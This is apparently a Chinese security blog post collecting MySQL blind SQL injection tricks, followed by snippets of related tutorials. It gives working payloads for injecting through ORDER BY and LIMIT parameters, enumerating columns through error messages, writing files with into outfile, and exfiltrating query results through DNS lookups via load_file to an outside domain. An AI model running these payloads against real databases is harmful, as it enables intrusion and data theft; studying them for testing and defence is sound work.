Mysql 另类盲注中的一些技巧

很多技巧从国外的paper学到的,不过国内没有多少人使用,所以发出来,笔记下~

一、order by 的参数注入技巧:
两种方法,思路都一样。

example. “select username,password from uc_members order by”.$_GET[‘oderby‘]

a.常见的利用方法:
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
返回错误:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
返回正常。

b.国外paper看到的方法:
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
返回错误:[Err] 1242 - Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
返回正常。

二、limit 的参数注入技巧:

a.order by之后的limit参数 的注入,因为正常的sql语句order by后无法接union,所以没有好办法,就一个鸡肋思路:into outfile ‘/www/root/xxx.php‘;

b.limit前无order by时的注入,那就方便多了,后面可以直接接union select ,随便怎么注都行了:
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
这里还有个技巧,使用procedure analyse可以获取字段名称:
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
不过procedure analyse同样不能使用在order by之后:
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
[Err] 1386 - Can‘t use ORDER clause with this procedure

三、无法猜测字段时的技巧:

在mysql5以下版本或者information_schema 无法访问的时候,无法猜到某个表的字段名,于是可以采用这个办法,在子查询中使用%0,报错获得列名。以ucenter的uc_members为例。

1.猜测列数:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
返回错误:#1241 - Operand should contain 12 column(s)
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回正常。
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回错误:#1048 - Column ‘uid‘ cannot be null
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
返回错误:#1048 - Column ‘username‘ cannot be null
5. ……

注:5.1以上版本不适用,字段必须为非空(not null)

四、windows下利用dns解析盲注的技巧:

如果盲注很累,或者页面无论and 1=1还是and 1=2的时候返回都一模一样,这个时候利用dns进行注入是个不错的方法,前提是win环境root权限下的mysql,利用load_file函数读取远程文件的思路。本地搭建一个dns服务器,然后将特定域名的NS server转过来。然后进行注入,并抓包。

本地测试了下(实际注入中单引号可以编码):select load_file(concat(‘\\\\aaa1.‘,(select user()),‘.oldjun.com\\a.txt‘)),抓包成功获得select的结果:
29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A [email protected]

如图所示:

时间: 2024-10-13 21:10:19

Mysql 另类盲注中的一些技巧的相关文章

PHP+MYSQL手工盲注

大家好,我是乄 God epilepsy 扣扣:929777981,今天给大家带来PHP+MYSQL手工盲注教程,虽然注入并不是神马新技术了,但是还是有很多盆友不会,很多盆友都是借助sqlmap,如果有墙,你们的sqlmap还能行嘛?好了废话不多说,新手教程,大鸟跳过! PS:这篇文章写的很烂噢,大家将就看下吧,送给正在努力向前走的盆友,另外欢迎各位大牛私聊一起讨论绕过各种防火墙的黑盒测试技术!

注入学习(3) Mysql+php注入 基于bool和时间的盲注

练习三:Mysql+php 基于bool和时间的盲注 今天要用的函数(详细的直接看链接): left()函数:left()得到字符串左部指定个数的字符 left( string, n ) #string为要截取的字符串,n为长度 limit()函数:标准定义找百度 limit(a,b)  #我的理解 从第a个位置,截取b个数据 if语句/if()函数:在MySQL中语法如下 if(a,b,c)  #如果a为真,则if()函数执行b语句; 否则if()函数执行c语句; sleep()函数:函数代码

详解SQL盲注测试高级技巧

写在前面: 这篇文章主要写了一些加快盲注速度的技巧和盲注中比较精巧的语句,虽然注入并不是什么新技术了.但是数据库注入漏洞依然困扰着每一个安全厂商,也鞭策着每一个安全从业者不断前进. 正文: 首先来简单介绍一下盲注,盲注是不能通过直接显示的途径来获取数据库数据的方法.在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同).一般情况下,盲注可分为三类. Booleanbase Timebase Errorbase 其中第一类Boolean就是我们最常接触到的普通

盲注学习总结

sql注入中的盲注的几种类型 1.基于时间延时注入 基于时间的手工盲注一般都是通过二分法或逐位法确定范围获取目标值.大大缩小了请求数. 通过控制,获取响应时间来判断目标值的正确性.使用大量情况,在纯盲情况下成功率较高,缺点就是时间太长. 1.1针对mysql 对mysql进行盲注的时候尽量使用#作为注释符号,使用--会引起很多缺少'错误使得数据库无法正常执行攻击语句 利用IF语句判断可能的值,如果值满足条件,则使用函数使sql语句在数据库长时间执行从而通过响应时间判断值得方式.该注入方式为推断形

SQL盲注测试高级技巧

写在前面: 这篇文章主要写了一些加快盲注速度的技巧和盲注中比较精巧的语句,虽然注入并不是什么新技术了.但是数据库注入漏洞依然困扰着每一个安全厂商,也鞭策着每一个安全从业者不断前进. 正文: 首先来简单介绍一下盲注,盲注是不能通过直接显示的途径来获取数据库数据的方法.在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同).一般情况下,盲注可分为三类. Booleanbase Timebase Errorbase 其中第一类Boolean就是我们最常接触到的普通

sql盲注之报错注入(附自动化脚本)

作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第一篇,介绍盲注中的报错注入. 0×01 报错注入原理 其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新. 1. Duplicate entry报错: 一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息. 关键是查询时会建立临时表存储数

sql注入之limit注入和五种时间盲注姿势

0x00前言 limit注入和时间前面也提过一点点了,真的非常简单,真不太想单独写一个这个来水博客..这里还是记录一下吧以后忘了方便复习. 0x01 limit基础知识 照抄前面的: 这里简单记录一下我自己经常会忘的知识点,觉得不值得再写一篇博客去水了233 使用查询语句的时候,经常要使用limit返回前几条或者中间某几行数据 SELECT?*?FROM?table?LIMIT?[offset,]?rows?|?rows OFFSET offset LIMIT 子句可以被用于强制 SELECT

SQL盲注工具BBQSQL

SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具体的错误信息,只给出的一个模糊的反馈,如输入数据有误或者空白页面.这种情况下的注入就被称为SQL盲注. 在SQL盲注中,渗透人员需要反复进行大量注入操作,每次都需要重复设置配置项,构建新的SQL语句等.这些操作极其消耗时间.为了避免这些重复操作,Kali Linux提供了一个SQL盲注工具BBQSQL.在这个工具中,用户可以将各项

MYSQL注入天书之盲注讲解

Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从background-1中,我们可以知道盲注分为三类 ?基于布尔SQL盲注 ?基于时间的SQL盲注 ?基于报错的SQL盲注 Ps:知识点太多了,这里只能简单列出来大致讲解一下.(ps:每当看到前辈的奇淫技巧的payload时,能想象到我内心的喜悦么?我真的想细细的写写这一块,但是不知道该怎么写或者小伙伴